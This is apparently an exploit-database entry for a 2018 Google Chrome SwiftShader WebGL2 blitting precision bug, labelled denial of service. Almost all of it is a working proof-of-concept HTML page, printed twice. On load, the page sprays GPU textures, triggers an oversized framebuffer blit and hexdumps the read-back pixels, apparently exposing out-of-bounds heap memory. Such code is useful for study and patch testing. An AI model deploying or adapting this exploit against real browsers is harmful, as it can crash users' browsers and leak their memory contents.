Google chrome swiftshader blitting floatingpoint precision errors Vulnerability / Exploit

/ / /

Exploits / Vulnerability Discovered : 2018-07-19 | Type : dos | Platform : multiple

[+] Code ...



<html>
<head>
</head>
<body onload="start()">
<canvas id='gl' width='128' height='128' />
<script>
function hex(value, count) {
const alphabet = '0123456789abcdef';
var result = '';
for (var i = (count / 4) - 1; i >= 0; --i) {
result += alphabet[(value >> (i * 4)) & 0xf];
}
return result;
}

function interesting_line(view, i) {
for (var j = 0; j < 16; ++j) {
if (view.getUint8(i + j) != 0) {
return true;
}
}
return false;
}

function hexdump(view) {
output = '';
for (var i = 0; i < view.byteLength; i += 16) {
if (interesting_line(view, i)) {
output += hex(i, 16) + ': ';
ascii = '';
for (var j = 0; j < 16; ++j) {
if (i + j < view.byteLength) {
byte = view.getUint8(i + j);
output += hex(byte, 8) + ' ';
if (0x20 <= byte && byte <= 0x7e) {
ascii += String.fromCharCode(byte);
} else {
ascii += '.';
}
} else {
output += ' ';
}
}

output += ' ' + ascii + '\n';
}
}

return output;
}

function web(gl) {
const width = 8192;

const src_height = 5828;
const dst_height = 8132;

var src_fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.READ_FRAMEBUFFER, src_fb);
src_fb.width = width;
src_fb.height = src_height;

var src_data = new Uint8Array(width * src_height * 16);
for (var i = 0; i < src_data.length; ++i) {
src_data[i] = 0x23;
}

src_tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, src_tex);
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, src_fb.width, src_fb.height, 0, gl.RGBA, gl.UNSIGNED_BYTE, src_data);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
gl.framebufferTexture2D(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, src_tex, 0);

var dst_fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb);
dst_fb.width = width;
dst_fb.height = dst_height;

var dst_rb = gl.createRenderbuffer();
gl.bindRenderbuffer(gl.RENDERBUFFER, dst_rb);
gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA8, dst_fb.width, dst_fb.height);
gl.framebufferRenderbuffer(gl.DRAW_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, dst_rb);

spray_data = new Uint8Array(8 * 8 * 4);
for (var i = 0; i < 8 * 8; ++i) {
spray_data[i] = 0x41;
}

for (var i = 0; i < 1024; ++i) {
spray_tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, spray_tex);
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, 8, 8, 0, gl.RGBA, gl.UNSIGNED_BYTE, spray_data);
}

gl.blitFramebuffer(0, 0, width, src_height,
0, 0, width, dst_height,
gl.COLOR_BUFFER_BIT, gl.NEAREST);

gl.bindFramebuffer(gl.READ_FRAMEBUFFER, dst_fb);

var dst_data = new Uint8Array(width * 4);
gl.readPixels(0, dst_height - 1, width, 1, gl.RGBA, gl.UNSIGNED_BYTE, dst_data);

console.log(hexdump(new DataView(dst_data.buffer)));
}

function start() {
var canvas = document.getElementById('gl');
var gl = canvas.getContext('webgl2');

if (gl) {
web(gl);
}
}
</script>
</body>
</html>


<html>
<head>
</head>
<body onload="start()">
<canvas id='gl' width='128' height='128' />
<script>
function hex(value, count) {
const alphabet = '0123456789abcdef';
var result = '';
for (var i = (count / 4) - 1; i >= 0; --i) {
result += alphabet[(value >> (i * 4)) & 0xf];
}
return result;
}

function interesting_line(view, i) {
for (var j = 0; j < 16; ++j) {
if (view.getUint8(i + j) != 0) {
return true;
}
}
return false;
}

function hexdump(view) {
output = '';
for (var i = 0; i < view.byteLength; i += 16) {
if (interesting_line(view, i)) {
output += hex(i, 16) + ': ';
ascii = '';
for (var j = 0; j < 16; ++j) {
if (i + j < view.byteLength) {
byte = view.getUint8(i + j);
output += hex(byte, 8) + ' ';
if (0x20 <= byte && byte <= 0x7e) {
ascii += String.fromCharCode(byte);
} else {
ascii += '.';
}
} else {
output += ' ';
}
}

output += ' ' + ascii + '\n';
}
}

return output;
}

function web(gl) {
const width = 8192;

const src_height = 5828;
const dst_height = 8132;

var src_fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.READ_FRAMEBUFFER, src_fb);
src_fb.width = width;
src_fb.height = src_height;

var src_data = new Uint8Array(width * src_height * 16);
for (var i = 0; i < src_data.length; ++i) {
src_data[i] = 0x23;
}

src_tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, src_tex);
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, src_fb.width, src_fb.height, 0, gl.RGBA, gl.UNSIGNED_BYTE, src_data);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
gl.framebufferTexture2D(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, src_tex, 0);

var dst_fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb);
dst_fb.width = width;
dst_fb.height = dst_height;

var dst_rb = gl.createRenderbuffer();
gl.bindRenderbuffer(gl.RENDERBUFFER, dst_rb);
gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA8, dst_fb.width, dst_fb.height);
gl.framebufferRenderbuffer(gl.DRAW_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, dst_rb);

spray_data = new Uint8Array(8 * 8 * 4);
for (var i = 0; i < 8 * 8; ++i) {
spray_data[i] = 0x41;
}

for (var i = 0; i < 1024; ++i) {
spray_tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, spray_tex);
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, 8, 8, 0, gl.RGBA, gl.UNSIGNED_BYTE, spray_data);
}

gl.blitFramebuffer(0, 0, width, src_height,
0, 0, width, dst_height,
gl.COLOR_BUFFER_BIT, gl.NEAREST);

gl.bindFramebuffer(gl.READ_FRAMEBUFFER, dst_fb);

var dst_data = new Uint8Array(width * 4);
gl.readPixels(0, dst_height - 1, width, 1, gl.RGBA, gl.UNSIGNED_BYTE, dst_data);

console.log(hexdump(new DataView(dst_data.buffer)));
}

function start() {
var canvas = document.getElementById('gl');
var gl = canvas.getContext('webgl2');

if (gl) {
web(gl);
}
}
</script>
</body>
</html>